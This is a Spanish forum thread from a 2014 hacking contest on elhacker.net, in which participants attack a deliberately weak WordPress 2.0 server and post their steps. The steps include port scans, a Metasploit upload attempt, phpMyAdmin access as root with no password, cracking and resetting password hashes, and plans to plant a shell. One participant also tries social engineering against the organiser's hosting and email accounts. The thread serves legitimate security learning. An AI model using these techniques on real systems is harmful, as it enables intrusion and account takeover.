Foro de elhacker.net

Seguridad Informática => Hacking => Mensaje iniciado por: dimitrix en 28 Junio 2014, 20:09 pm



Título: Hack my server II
Publicado por: dimitrix en 28 Junio 2014, 20:09 pm
Hack My Server II

El próximo día 15/05/2014 empezará el segundo concurso, se tratará de hackear un servidor (totalmente legal todo). El concurso durará 15 días y quizás hasta haya algún premio :-)

Bases:
  • Daremos la IP del servidor que hay que hackear.
  • El servidor no tendrá mucha seguridad.
  • Tendrá una versión vieja de WordPress instalada.
  • La finalidad es conseguir acceso root.
  • Se trata de aprender, ir poniendo los avances aquí.

También me gustaría dejar claro que la idea de realizar esto es para que todos los usuarios aprendamos de todos, por lo que los organizadores agradeceriamos que se realizaran comentarios sobre que herramientas usais, como investigais, etc. para que así todo el foro poco a poco fuera consiguiendo acceder al servidor.

CONDICIONES

  • Se trata de ser colaborativos, es decir, contar en este POST como vais a atacar y lo que habeis conseguido.
  • La idea es que entre todos aprendamos.
  • Pasarlo bien.

GANADOR

  • Será el primero que consiga acceder como root.
  • Tendrá que haber participado en este foro comentando, etc...
  • Se irá sumando punto a cada participante dependiendo los comentarios que haga, si ayuda a otros, etc.
  • Vulnerabilidades encontradas en el wordpress contarán.
  • El primero que consiga acceder como root se le enviará un poster gigante de Tron Legacy.

(http://i.elhacker.net/i?i=1EReiDlMjDpBQ_CLTijHz2Vo) (http://i.elhacker.net/d?i=1EReiDlMjDpBQ_CLTijHz2Vo)

PEDIR LA IP PONIENDO UN COMENTARIO EN ESTE POST

FIN DEL TORNEO: 15/08/2014


Puntos
------
Baal_30
 - 1 punto: escaneo de puertos y mostrar el webmin y el apache donde estan y con que lo ha escaneado.

BigByte
 - 1 punto: Empezó intentando usar un exploit, explicación y código.

WINTX
 - 1 punto: Indica donde está la URL del phpmyadmin
 -

#!drvy
 - 1 punto: Aporta idea de como sacar el directorio de la carpeta upload provocando un error.
 - 2 puntos: Hace deface en el WP
 - 1 punto: Explica como hizo el deface
 - 1 punto: Incluye información valiosa de como subir fichero con dumpfile en la carpeta tmp
 - 1 punto: Explica como ha usado el interprete de phpmyadmin para llegar hasta el fichero con passwords.
 - 1 punto: #!drvy publica fichero con configuracion (usuario/password) del WP.
 - 2 puntos: Crear shell con MySQL (no subirla)
 - 2 puntos: Acceso limitado shell

MinusFour
 - 1 punto: Primero en publicar la versión exacta del WP
 - 2 puntos: Buena Documentación
 - 1 punto: Ejecuta phpinfo

ret2libc
 - 1 punto: Da información para subir una shell

WHK
 - 1 punto: Pone versión exacta del WP (2.0.1-rc1) así como links donde encontrar las vulnerabilidades.
 - 1 punto: Publica/explica el exploit que está usando de securityfocus
 - 2 puntos: Consigue inyectar código SQL sin phpmyadmin
 - 2 puntos: Hace/publica capturas y código de un script para sacar el hash
 - 2 punto: Vulnerar plugin backup con acceso admin en el WP-Admin

xustyx
  - 2 puntos: Sube una shell
  - 1 punto: Explica como ha metido la shell mediante SQL :-)

L0RdP3I
 - 1 punto: Sube shell a WP





Podeis seguirme en: Facebook (https://www.facebook.com/seguridaddimitrix)

Hack my server 1: http://foro.elhacker.net/hacking_avanzado/concurso_nordm1_hack_my_server-t360003.0.html


Título: Re: Hack my server II
Publicado por: BigByte en 1 Agosto 2014, 00:41 am
Esperamos con ansias dmitrix... Ya es día 1!!


Título: Re: Hack my server II
Publicado por: Baal_30 en 1 Agosto 2014, 00:59 am
Esperamos con ansias dmitrix... Ya es día 1!!

Vaya¡! Cuando puedas ¿me puedes pasar la IP por mp? ^^


Título: Re: Hack my server II
Publicado por: ivancea96 en 1 Agosto 2014, 01:10 am
Idem :p


Título: Re: Hack my server II
Publicado por: dimitrix en 1 Agosto 2014, 01:39 am
En vuestro país será día 1, en el mío todavía queda xD

Ahora en serio... la iré mandando dentro de unas horas :-)

¡Y no olvidéis compartir todo lo que avanceis!


Título: Re: Hack my server II
Publicado por: ivancea96 en 1 Agosto 2014, 01:47 am
En cuanto a "compartir", hasta que punto?
Supongo, que sin desvelar los métodos que hemos usado ni ip ni urls no? :o


Título: Re: Hack my server II
Publicado por: WIитX en 1 Agosto 2014, 01:51 am
Día uno cojee un vuelo a España para que sea día 1 :P


Título: Re: Hack my server II
Publicado por: dimitrix en 1 Agosto 2014, 03:02 am
Ya he mandado todas las IPs.

En cuanto a "compartir", hasta que punto?
Supongo, que sin desvelar los métodos que hemos usado ni ip ni urls no? :o

Sin IP.

Pero sobre todo los métodos que se han usado para sacar los fallos, como se han descubierto, que fallos son, como has intetado explotarlo.

¡Recuerda que esto es colaborativo!


Título: Re: Re: Hack my server II
Publicado por: alkage en 1 Agosto 2014, 03:34 am
Yo quiero IP tmb.


Título: Re: Hack my server II
Publicado por: Hadess_inf en 1 Agosto 2014, 05:33 am
IP .. que ando en nada xD


Título: Re: Hack my server II
Publicado por: dRak0 en 1 Agosto 2014, 06:21 am
ip.

(http://wiki.erepublik.com/images/7/70/-Chuck_Norris-_01.jpg)


Título: Re: Hack my server II
Publicado por: Cleantesdeasso en 1 Agosto 2014, 06:57 am
BUenísimo!!! Quiero la IP para revolotear, thanx!


Título: Re: Hack my server II
Publicado por: Baal_30 en 1 Agosto 2014, 12:05 pm
Bueno, comenzando con la básico, y lo primero que se debe hacer (creo yo...) y, siendo prácticamente lo único que puedo aportar con mis conocimientos... aquí dejo la lista con los puertos abiertos escaneados con el nmap ¡!

Port 22 : tcp : open : ssh : (protocol2.0)
Port 53 : tcp : open : domain
Port 80 : tcp : open : http : Apache httpd 2.4.6((Ubuntu))
Port 10000 : tcp : open : http : MiniServ1.690(Webmin httpd)


El SO parece que es un Linux 2.6.

Eso es lo que he podido sacar con un Intense Scan del nmap, espero que sirva de algo.

Un saludo



Título: Re: Hack my server II
Publicado por: Stakewinner00 en 1 Agosto 2014, 12:37 pm
Yo quiero la ip :D

De momento buscando la versión de httpd que paso el compañero encontré que tiene varias vulns interesantes. La mayoría son de DOS pero hay una de overflow que si no es una versión de httpd falsa para confundir se podría aprovechar (si usa ese mod) https://httpd.apache.org/security/vulnerabilities_24.html (https://httpd.apache.org/security/vulnerabilities_24.html)

Citar
    moderate: mod_status buffer overflow CVE-2014-0226

    A race condition was found in mod_status. An attacker able to access a public server status page on a server using a threaded MPM could send a carefully crafted request which could lead to a heap buffer overflow. Note that it is not a default or recommended configuration to have a public accessible server status page.

    Acknowledgements: This issue was reported by Marek Kroemeke, AKAT-1 and 22733db72ab3ed94b5f8a1ffcde850251fe6f466 via HP ZDI
    Reported to security team: 30th May 2014
    Issue public: 14th July 2014
    Update Released: 14th July 2014
    Affects: 2.4.9, 2.4.8, 2.4.7, 2.4.6, 2.4.4, 2.4.3, 2.4.2, 2.4.1

Dejo esto que en caso de que este habilitado quizás sirve... http://www.exploit-db.com/exploits/34133/ (http://www.exploit-db.com/exploits/34133/)


Título: Re: Hack my server II
Publicado por: BigByte en 1 Agosto 2014, 12:39 pm
tengo alguna pista mas...

version de wordpress y un posible exploit... VAYA!!!! dmitrix es listo y ha cambiado los path, por lo que hasta que no tenga el correcto no configurare bien el exploit...

en esta ocasion tengo una duda.
he leido que se pueden cambiar los path de wordpress para ^disuadir^ al hacker

por ejemplo,

misitio.com/wordpress ha sido cambiado por otro. como puedo saber donde se encuentra ese path, para lanzar el exploit de forma satisfactoria??
aqui mi aporte

msf exploit(wp_asset_manager_upload_exec) >
  • 198.50.149.153:80 - Uploading payload VSEdz.php
  • [-] Exploit failed
[unexpected-reply]: 198.50.149.153:80 - Upload failed


creo que todos sabemos el exploit que es... decidme. voy bien encaminado??

por favor que alguien me diga como subir capturas de pantalla. gracias

Saludos:)


Título: Re: Hack my server II
Publicado por: dimitrix en 1 Agosto 2014, 13:07 pm
Ya he mandado a todos las IPs, si falta alguien, avisarme.

Citar
version de wordpress y un posible exploit... VAYA!!!! dmitrix es listo y ha cambiado los path, por lo que hasta que no tenga el correcto no configurare bien el exploit...

Te aseguro que yo no he cambiado nada, está en la carpeta por default xD

Esta noche reparto los Dimi-puntos xD


Título: Re: Hack my server II
Publicado por: WIитX en 1 Agosto 2014, 13:14 pm
Not shown: 995 closed ports, 1 filtered port
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
10000/tcp open  snet-sensor-mgmt


Título: Re: Hack my server II
Publicado por: WIитX en 1 Agosto 2014, 13:18 pm
http://web/phpmyadmin

Pongo web por que no se si se puede poner la dirección sorry :P


Título: Re: Hack my server II
Publicado por: dimitrix en 1 Agosto 2014, 13:29 pm
web/phpmyadmin

Pongo web por que no se si se puede poner la dirección sorry :P

Great... vamos bien :-)


Título: Re: Hack my server II
Publicado por: robertofd1995 en 1 Agosto 2014, 13:37 pm
ip por favor

PD:perdon por mandarte el mp antes


Título: Re: Hack my server II
Publicado por: ivancea96 en 1 Agosto 2014, 13:50 pm
User y pass de phpmyadmin por defecto.
Ahora se ve la contraseña y user de dimitrix. Y su e-mail :O

La contraseña está en MD5, pero en un diccionario online se puede descifrar.

No pongo ni user ni pass, porqe no se si lo debo poner :o Dimitrix, si quieres que ponga y tal dímelo xD


Título: Re: Hack my server II
Publicado por: WIитX en 1 Agosto 2014, 13:52 pm
User y pass de phpmyadmin por defecto.
Ahora se ve la contraseña y user de dimitrix. Y su e-mail :O

La contraseña está en MD5, pero en un diccionario online se puede descifrar.

No pongo ni user ni pass, porqe no se si lo debo poner :o Dimitrix, si quieres que ponga y tal dímelo xD

LOL yo probe hace rato la contraseña default del phpmyadmin y no entra :c


Título: Re: Hack my server II
Publicado por: Baal_30 en 1 Agosto 2014, 13:54 pm
eing? el link ese no me conduce a ningún sitio, donde se prueba la pass y user del phpmyadmin? alguna ayudita plz :P


Título: Re: Hack my server II
Publicado por: WIитX en 1 Agosto 2014, 13:54 pm
Pass del WP-admin: 2bc11f   :D


Título: Re: Hack my server II
Publicado por: dimitrix en 1 Agosto 2014, 13:56 pm
Sí, poner todo, menos mi email, poner todo :-)

Vamos bien, poca-seguridad de MySQL petada.

Y poner como habeis accedido a todo, etc.


Título: Re: Hack my server II
Publicado por: WIитX en 1 Agosto 2014, 13:56 pm
MOD: No poner email...

Phpmyadmin: root
pass: no tiene


Título: Re: Hack my server II
Publicado por: maxim_o en 1 Agosto 2014, 13:57 pm
IP cuando puedas dimitrix. Gracias


Título: Re: Hack my server II
Publicado por: xustyx en 1 Agosto 2014, 13:57 pm
Ya esta down esto o que? Pasar IP anda que cuando llegue a casale doy que toy en el curro jejeje.


Título: Re: Hack my server II
Publicado por: WIитX en 1 Agosto 2014, 14:08 pm
Va, un asco alguien cambio de la DB el email de dimitrix... aún así lo recuerdo pero si empiezan a cambiar cosas también los primeros podríamos haber cambiado la pass.
Dejen de joder


Título: Re: Hack my server II
Publicado por: Baal_30 en 1 Agosto 2014, 14:23 pm
Wintx puedes explicar como conseguiste la pass? gracias :D


Título: Re: Hack my server II
Publicado por: WIитX en 1 Agosto 2014, 14:29 pm
Entre al phpmyadmin ponía

root y root jaja y el usuario el otro dijo que era la dfault y yo como tonto seguía probando root y root pero era root y sin pass luego entre a wp-users cogí la pass en md5 y la desencripte en esta página: http://www.md5cracker.org

Saludos


Título: Re: Hack my server II
Publicado por: Baal_30 en 1 Agosto 2014, 14:31 pm
Aaah vale, que crack, gracias !

Pero antes he intentado entrar al phpmyadmin y no he podido, ¿como se llega ahí? He probado el link que un usuario a comentado pero no me ha llevado a ningún lugar.


Título: Re: Hack my server II
Publicado por: ivancea96 en 1 Agosto 2014, 14:32 pm
Para subir una shell me falta saber el directorio de la web xD ¿Alguna idea? D:


Título: Re: Hack my server II
Publicado por: WIитX en 1 Agosto 2014, 14:34 pm
Para subir una shell me falta saber el directorio de la web xD ¿Alguna idea? D:



Mira ver las tablas de Mysql :| haber si te da por hay algo vi yo pero no se si será eso

Aaah vale, que crack, gracias !

Pero antes he intentado entrar al phpmyadmin y no he podido, ¿como se llega ahí? He probado el link que un usuario a comentado pero no me ha llevado a ningún lugar.

Prueba lawebquepasodimitrix/phpmyadmin

Pones en user root y no pones pass presionas enter si no te entra la cambiaron son unos graciosos al parecer...


Título: Re: Hack my server II
Publicado por: #!drvy en 1 Agosto 2014, 14:36 pm
Citar
Para subir una shell me falta saber el directorio de la web xD ¿Alguna idea? D:

Puedes generar un error en los upload de Wordpress te diran el directorio..
En este caso es el tipico ' /var/www/ '

Saludos


Título: Re: Hack my server II
Publicado por: ivancea96 en 1 Agosto 2014, 14:44 pm
"/var/www" sí funciona. pero me falta una carpeta más al menos, esa tiene permisos de escritura denegados :o

Jiji tampoco soy muy experto en web :p


Título: Re: Hack my server II
Publicado por: Baal_30 en 1 Agosto 2014, 14:45 pm
Okey, gracias Wintx!

No han puesto pass por ahora... bien, bien :P Ahora la duda que me surje es como sabíais que con /phpmyadmin, iba a funcionar, y no con otro tipo... ¿sale en el scaneo de puertos, o por la versión de algún servicio?


Título: Re: Hack my server II
Publicado por: WIитX en 1 Agosto 2014, 14:49 pm
"/var/www" sí funciona. pero me falta una carpeta más al menos, esa tiene permisos de escritura denegados :o

Jiji tampoco soy muy experto en web :p

"/var/www/wordpress/wp-content/uploads/"

Has probado si el siguiente directorio se llama wordpress? o wp :S


Título: Re: Hack my server II
Publicado por: ivancea96 en 1 Agosto 2014, 14:51 pm
"wordpress/" me sigue tirando error 2


Título: Re: Hack my server II
Publicado por: #!drvy en 1 Agosto 2014, 14:51 pm
Pues las tipica donde se suben archivos de wordpress

' /var/www/wp-content/uploads/ ' -> 404 Ese no existe (wordpress no tiene permisos para crearlo)
' /var/www/wp-content/themes/ ' -> Index list
' /var/www/wp-content/plugins/ ' -> Index list


PD: Si lo intentas por dumpfile en PHPMyAdmin.. olvidalo, mysqld no tiene permiso para la carpeta /var/www .. solo he conseguido subir en /tmp.. pero haria falta un LFI para llegar hasta ahi.

Saludos


Título: Re: Hack my server II
Publicado por: WIитX en 1 Agosto 2014, 14:52 pm
El puerto 22 está open alguno probo a conectarse a través de PuTTy?


Título: Re: Hack my server II
Publicado por: dRak0 en 1 Agosto 2014, 15:09 pm
Prueben por el puerto 10000.


Mod: Se supone que no se da ni la direccion ni la IP ·_·

Mala mia.


Título: Re: Hack my server II
Publicado por: dantemc en 1 Agosto 2014, 15:19 pm
la ip... llegué bieeen tarde


Título: Re: Hack my server II
Publicado por: Baal_30 en 1 Agosto 2014, 15:32 pm
Probando con el PuTTy, me pone "The server's rsa2 key fingerprint is : ssh-rsa 2048 7b:34:49:c6:8d:21:ec:e2:d6:cb:3e:21:61:68:03:5f"

Supongo que será la pass cifrada, pero no se con que método :/ Luego le doy a Sí, y me pide user y pass, y no me sirve con root, y sin pass, y he probado algunas típicas y nada...


Título: Re: Hack my server II
Publicado por: ivancea96 en 1 Agosto 2014, 15:36 pm
Estoy probando lo mismo, sftp. Pero sin user ni clave, nada xD


Título: Re: Hack my server II
Publicado por: #!drvy en 1 Agosto 2014, 15:43 pm
El puerto 22 es ssh .. el rsa2 key es el handshake para cifrado.

Saludos


Título: Re: Hack my server II
Publicado por: dimitrix en 1 Agosto 2014, 15:46 pm
La password es la que trae OVH...



Aacabo de recibir un mail de OVH... me intentais hackear mi cuenta OVH? Bien... pero os confundis xDDDD

Esta en otro email y ademas contratado en ovh.ca en el datacenter de vancouver si no me confundo.

PD1: Si alguien consigue aceder a mi cuenta que me pague un mes!

PD2: Si alguien consigue hackear ovh.com... que diga como! xD

PD3: Perdonar la falta de acentos.



El dia 7 cambiare la seguridad y hare la password SSH vulnerable a ataques.


Título: Re: Hack my server II
Publicado por: WIитX en 1 Agosto 2014, 16:13 pm
La password es la que trae OVH...



Aacabo de recibir un mail de OVH... me intentais hackear mi cuenta OVH? Bien... pero os confundis xDDDD

Esta en otro email y ademas contratado en ovh.ca en el datacenter de vancouver si no me confundo.

PD1: Si alguien consigue aceder a mi cuenta que me pague un mes!

PD2: Si alguien consigue hackear ovh.com... que diga como! xD

PD3: Perdonar la falta de acentos.



El dia 7 cambiare la seguridad y hare la password SSH vulnerable a ataques.

Ese fui yo jajaj intente entrar al gmail luego intente que enviaran la pass al gmail y tenía acceso pero no funciono..

Me dices tu tlf de movil acabado en 28?  :silbar:

JAJAaajaj


Título: Re: Hack my server II
Publicado por: dimitrix en 1 Agosto 2014, 16:20 pm
Hace anyos que no tengo activada esa linea xD
- 658974028

Ademas, te volveria a pedir nueva verificacion por no encontrarte en el mismo pais que yo.

De todos modos, menos ingenieria social y mas petar el servidor xD


Título: Re: Hack my server II
Publicado por: WHK en 1 Agosto 2014, 16:30 pm
juas, aver, dame esa ip xD


Título: Re: Hack my server II
Publicado por: Shell Root en 1 Agosto 2014, 16:32 pm
IP


Título: Re: Hack my server II
Publicado por: MinusFour en 1 Agosto 2014, 16:35 pm
Yo tambien le quiero dar un vistazo! Ip :D


Título: Re: Hack my server II
Publicado por: dimitrix en 1 Agosto 2014, 16:45 pm
Todooo enviadooooo


Título: Re: Hack my server II
Publicado por: MinusFour en 1 Agosto 2014, 16:52 pm
Usa Ubuntu?

Version del apache:
Apache/2.4.6 (Ubuntu) Server at vps84472.ovh.net Port 80

Edit: OH LOL no me habia dado cuenta que ya lo habian posteado xD.


Título: Re: Hack my server II
Publicado por: WIитX en 1 Agosto 2014, 16:56 pm
Yo ya estoy perdido en esta parte alguien me encamina  ;-)


Título: Re: Hack my server II
Publicado por: Baal_30 en 1 Agosto 2014, 17:06 pm
Yo ya estoy perdido en esta parte alguien me encamina  ;-)

Idem xD


Título: Re: Hack my server II
Publicado por: MinusFour en 1 Agosto 2014, 17:18 pm
Se han hackeado al wordpress LOL


Título: Re: Hack my server II
Publicado por: dRak0 en 1 Agosto 2014, 17:27 pm
No valen plugins ¬¬.


Título: Re: Hack my server II
Publicado por: dimitrix en 1 Agosto 2014, 17:33 pm
Quien haya creado el deface que explique paso a paso como lo hizo para los puntos (y para compartir) xD


Título: Re: Hack my server II
Publicado por: Baal_30 en 1 Agosto 2014, 17:53 pm
Ya? :/


Título: Re: Hack my server II
Publicado por: dantemc en 1 Agosto 2014, 17:55 pm
No, no se ha rooteado.


Título: Re: Hack my server II
Publicado por: Baal_30 en 1 Agosto 2014, 17:57 pm
Ah, uf, menos mal xD pero yo me he quedado ya estancadísimo xD no se ni por donde tirar :/


Título: Re: Hack my server II
Publicado por: Stakewinner00 en 1 Agosto 2014, 18:03 pm
Yo ya me quede como la mayoría, no hay dir con permisos para subir shell por SQLi el SSH no tiene nada por defecto y por el puerto 10000 no mire mucho pero a saber si tiene algo...


Título: Re: Hack my server II
Publicado por: MinusFour en 1 Agosto 2014, 18:03 pm
Fue #!drvy el que hizo el deface xD.


Título: Re: Hack my server II
Publicado por: jhonatanAsm en 1 Agosto 2014, 18:18 pm
IP :)


Título: Re: Hack my server II
Publicado por: Mister12 en 1 Agosto 2014, 18:20 pm
Quiero la ip, por favor


Título: Re: Hack my server II
Publicado por: xustyx en 1 Agosto 2014, 18:26 pm
Em esto aun sigue?
El reto era conseguir root en el server no?
O vale con el deface?


Título: Re: Re: Hack my server II
Publicado por: alkage en 1 Agosto 2014, 18:27 pm
Que Lammer urruina juego! No siguió las reglas.


Título: Re: Re: Hack my server II
Publicado por: MinusFour en 1 Agosto 2014, 18:30 pm
Que Lammer urruina juego! No siguió las reglas.

Tranquilo, ya he restaurado la pagina.

Muy buena esa #!drvy XDDD (si es que fuiste tu...)

Para el que quiera saber del deface, eso fue una cosa muy sencilla. Simplemente a modificado la noticia e insertado HTML que cubria el blog entero.

No se han modificado archivos de la instalacion de wordpress, probablemente porque tiene permisos por default:

root root rwxr-xr-x


Título: Re: Hack my server II
Publicado por: Cleantesdeasso en 1 Agosto 2014, 18:34 pm
Yo creo que tiene que ver con trackback.php de el WP 2.0 ... o me parece que dije mucho? Igual me desanimé, el deface estuvo guapo jjjj

EDIT: para saber la version del WP solo hay que buscar readme.html en el primer directorio


Título: Re: Hack my server II
Publicado por: dimitrix en 1 Agosto 2014, 18:36 pm
Yo ya me quede como la mayoría, no hay dir con permisos para subir shell por SQLi el SSH no tiene nada por defecto y por el puerto 10000 no mire mucho pero a saber si tiene algo...

Esta noche activo los permisos (como tendria un WP real) en las carpetas...

10000... webmin os espera...



!drvy puedes confirmar?



xustyx un deface es algo facil... se busca el root...


Título: Re: Hack my server II
Publicado por: MinusFour en 1 Agosto 2014, 18:42 pm
Por cierto para el que haya encontrado alguna vulnerabilidad de wordpress, si viene con permisos por default el proceso de apache no va a permitir escribir a la carpeta de www así que si intentan subir una shell por ahí ni lo intenten. Lo que podrían hacer si encontraron una vulnerabilidad es usar shell_exec...

Para el que no se haya dado cuenta O.o esto es wordpress 2.0... estoy seguro que debe haber muchas vulnerabilidades....

WordPress
Version 2.0


Título: Re: Hack my server II
Publicado por: #!drvy en 1 Agosto 2014, 18:48 pm
Que Lammer urruina juego! No siguió las reglas.

pffffffffff...

Fui yo por hacer la gracia xD No he rooteado ni nada, fue inyeccion de HTML en uno de los post..

Saludos


Título: Re: Hack my server II
Publicado por: Baal_30 en 1 Agosto 2014, 18:51 pm
¿Como podría averiguar la versión del webmin? :P


Título: Re: Hack my server II
Publicado por: #!drvy en 1 Agosto 2014, 18:52 pm
Código
  1. → nmap -sV  ###########
  2.  
  3. Starting Nmap 6.00 ( http://nmap.org ) at 2014-08-01 16:07 CEST
  4. Nmap scan report for #########  (#########)
  5. Host is up (0.18s latency).
  6. rDNS record for ######: #######
  7. Not shown: 995 closed ports
  8. PORT      STATE    SERVICE      VERSION
  9. 22/tcp    open     ssh          (protocol 2.0)
  10. 53/tcp    open     domain
  11. 80/tcp    open     http         Apache httpd 2.4.6 ((Ubuntu))
  12. 445/tcp   filtered microsoft-ds
  13. 10000/tcp open     http         MiniServ 1.690 (Webmin httpd)

Saludos


Título: Re: Hack my server II
Publicado por: dimitrix en 1 Agosto 2014, 19:05 pm
WordPress
Version 2.0

Exacto, la 2.0 con la ayuda de Peibol consegui una lista de versiones viejas xD

Ganate unos puntitos explicado como sabes que es la 2.0.


Título: Re: Hack my server II
Publicado por: dRak0 en 1 Agosto 2014, 19:09 pm
http://WEB/wp-includes/ FPD


Código
  1. function wp_handle_upload(&$file, $overrides = false) {
  2. // The default error handler.
  3. if (! function_exists('wp_handle_upload_error') ) {
  4. function wp_handle_upload_error(&$file, $message) {
  5. return array('error'=>$message);
  6. }
  7. }
  8.  
  9. // You may define your own function and pass the name in $overrides['upload_error_handler']
  10. $upload_error_handler = 'wp_handle_upload_error';
  11.  
  12. // $_POST['action'] must be set and its value must equal $overrides['action'] or this:
  13. $action = 'wp_handle_upload';
  14.  
  15. // Courtesy of php.net, the strings that describe the error indicated in $_FILES[{form field}]['error'].
  16. $upload_error_strings = array(false,
  17. __("The uploaded file exceeds the <code>upload_max_filesize</code> directive in <code>php.ini</code>."),
  18. __("The uploaded file exceeds the <em>MAX_FILE_SIZE</em> directive that was specified in the HTML form."),
  19. __("The uploaded file was only partially uploaded."),
  20. __("No file was uploaded."),
  21. __("Missing a temporary folder."),
  22. __("Failed to write file to disk."));
  23.  
  24. // Accepted MIME types are set here as PCRE. Override with $override['mimes'].
  25. $mimes = apply_filters('upload_mimes', array (
  26. 'jpg|jpeg|jpe' => 'image/jpeg',
  27. 'gif' => 'image/gif',
  28. 'png' => 'image/png',
  29. 'bmp' => 'image/bmp',
  30. 'tif|tiff' => 'image/tiff',
  31. 'ico' => 'image/x-icon',
  32. 'asf|asx|wax|wmv|wmx' => 'video/asf',
  33. 'avi' => 'video/avi',
  34. 'mov|qt' => 'video/quicktime',
  35. 'mpeg|mpg|mpe' => 'video/mpeg',
  36. 'txt|c|cc|h' => 'text/plain',
  37. 'rtx' => 'text/richtext',
  38. 'css' => 'text/css',
  39. 'htm|html' => 'text/html',
  40. 'mp3|mp4' => 'audio/mpeg',
  41. 'ra|ram' => 'audio/x-realaudio',
  42. 'wav' => 'audio/wav',
  43. 'ogg' => 'audio/ogg',
  44. 'mid|midi' => 'audio/midi',
  45. 'wma' => 'audio/wma',
  46. 'rtf' => 'application/rtf',
  47. 'js' => 'application/javascript',
  48. 'pdf' => 'application/pdf',
  49. 'doc' => 'application/msword',
  50. 'pot|pps|ppt' => 'application/vnd.ms-powerpoint',
  51. 'wri' => 'application/vnd.ms-write',
  52. 'xla|xls|xlt|xlw' => 'application/vnd.ms-excel',
  53. 'mdb' => 'application/vnd.ms-access',
  54. 'mpp' => 'application/vnd.ms-project',
  55. 'swf' => 'application/x-shockwave-flash',
  56. 'class' => 'application/java',
  57. 'tar' => 'application/x-tar',
  58. 'zip' => 'application/zip',
  59. 'gz|gzip' => 'application/x-gzip',
  60. 'exe' => 'application/x-msdownload'
  61. ));
  62.  
  63. // All tests are on by default. Most can be turned off by $override[{test_name}] = false;
  64. $test_form = true;
  65. $test_size = true;
  66.  
  67. // If you override this, you must provide $ext and $type!!!!
  68. $test_type = true;
  69.  
  70. // Install user overrides. Did we mention that this voids your warranty?
  71. if ( is_array($overrides) )
  72. extract($overrides, EXTR_OVERWRITE);
  73.  
  74. // A correct form post will pass this test.
  75. if ( $test_form && (!isset($_POST['action']) || ($_POST['action'] != $action)) )
  76. return $upload_error_handler($file, __('Invalid form submission.'));
  77.  
  78. // A successful upload will pass this test. It makes no sense to override this one.
  79. if ( $file['error'] > 0 )
  80. return $upload_error_handler($file, $upload_error_strings[$file['error']]);
  81.  
  82. // A non-empty file will pass this test.
  83. if ( $test_size && !($file['size'] > 0) )
  84. return $upload_error_handler($file, __('File is empty. Please upload something more substantial.'));
  85.  
  86. // A properly uploaded file will pass this test. There should be no reason to override this one.
  87. if (! @ is_uploaded_file($file['tmp_name']) )
  88. return $upload_error_handler($file, __('Specified file failed upload test.'));
  89.  
  90. // A correct MIME type will pass this test.
  91. if ( $test_type ) {
  92. $type = false;
  93. $ext = false;
  94. foreach ($mimes as $ext_preg => $mime_match) {
  95. $ext_preg = '![^.]\.(' . $ext_preg . ')$!i';
  96. if ( preg_match($ext_preg, $file['name'], $ext_matches) ) {
  97. $type = $mime_match;
  98. $ext = $ext_matches[1];
  99. }
  100. }
  101.  
  102. if ( !$type || !$ext )
  103. return $upload_error_handler($file, __('File type does not meet security guidelines. Try another.'));
  104. }
  105.  
  106. // A writable uploads dir will pass this test. Again, there's no point overriding this one.
  107. if ( ! ( ( $uploads = wp_upload_dir() ) && false === $uploads['error'] ) )
  108. return $upload_error_handler($file, $uploads['error']);
  109.  
  110. // Increment the file number until we have a unique file to save in $dir. Use $override['unique_filename_callback'] if supplied.
  111. if ( isset($unique_filename_callback) && function_exists($unique_filename_callback) ) {
  112. $filename = $unique_filename_callback($uploads['path'], $file['name']);
  113. } else {
  114. $number = '';
  115. $filename = str_replace('#', '_', $file['name']);
  116. $filename = str_replace(array('\\', "'"), '', $filename);
  117. if ( empty($ext) )
  118. $ext = '';
  119. else
  120. $ext = ".$ext";
  121. while ( file_exists($uploads['path'] . "/$filename") ) {
  122. if ( '' == "$number$ext" )
  123. $filename = $filename . ++$number . $ext;
  124. else
  125. $filename = str_replace("$number$ext", ++$number . $ext, $filename);
  126. }
  127. }
  128.  
  129. // Move the file to the uploads dir
  130. $new_file = $uploads['path'] . "/$filename";
  131. if ( false === @ move_uploaded_file($file['tmp_name'], $new_file) )
  132. die(printf(__('The uploaded file could not be moved to %s.'), $file['path']));
  133.  
  134. // Set correct file permissions
  135. $stat = stat(dirname($new_file));
  136. $perms = $stat['mode'] & 0000777;
  137. @ chmod($new_file, $perms);
  138.  
  139. // Compute the URL
  140. $url = $uploads['url'] . "/$filename";
  141.  
  142. return array('file' => $new_file, 'url' => $url, 'type' => $type);
  143. }
  144.  
  145.  
  146.  


Mi upload muere en : die(printf(__('The uploaded file could not be moved to %s.'),$file['path']));

Devolviendo como string un .
Es decir : "The uploaded file could not be moved to  ."

Intento desde /wp-admin/link-import.php

Modifico el MAX_FILE_SIZE ,que es un input type="hidden",para poder subir mi shell que tiene mas tamaño.

A ver si alguno se le cae alguna idea de como pasar desde ahi , y tendriamos un bypass al uploader de wordpress.


Título: Re: Hack my server II
Publicado por: MinusFour en 1 Agosto 2014, 19:17 pm
Exacto, la 2.0 con la ayuda de Peibol consegui una lista de versiones viejas xD

Ganate unos puntitos explicado como sabes que es la 2.0.

http://ipdelserver/readme.html

Y si necesitas saber exactamente la versión de wordpress, necesitas meterte como admin... pongo aquí como hacerlo pero estoy seguro que a alguien ya se le ocurrio... estoy casi seguro.

Para meterte como admin, basta con volver a setear la password del admin en phpmyadmin, esta en la tabla wp_users. Para poner la password, solo basta con remplazar el hash por nuestra contraseña en hash...

http://www.miraclesalad.com/webtools/md5.php

Copias el hash y lo pegas y listo, te puedes loguear como admin xD.

En el footer tenemos una versión exacta de Wordpress...

(http://i.imgur.com/IQqgbYv.jpg)

Por cierto a mi no fue el primero que se me ocurrio lo de cambiar la password, pero que cabron el que lo hizo porque ya me habia puesto a crackear el hash >.> y ahora se que no me va a decir nada LOL.

Otra cosa, ya que puse aquí como ganar privilegios de admin en el wordpress, sería bueno que lo dejaramos en una sola password.


Título: Re: Hack my server II
Publicado por: #!drvy en 1 Agosto 2014, 19:19 pm
el WP parece vulnerable por todos lados pero dado que no tiene permisos ni para editarse a si mismo, es un poco inutil intentar subir algo por ahi..

Via el PHPMyAdmin se puede subir mediante dumpfile al directorio /tmp .. si solo pudieramos encontrar un LFI, la shell estaria subida.

Saludos


Título: Re: Hack my server II
Publicado por: MinusFour en 1 Agosto 2014, 19:21 pm
http://WEB/wp-includes/ FPD


Código
  1. function wp_handle_upload(&$file, $overrides = false) {
  2. // The default error handler.
  3. if (! function_exists('wp_handle_upload_error') ) {
  4. function wp_handle_upload_error(&$file, $message) {
  5. return array('error'=>$message);
  6. }
  7. }
  8.  
  9. // You may define your own function and pass the name in $overrides['upload_error_handler']
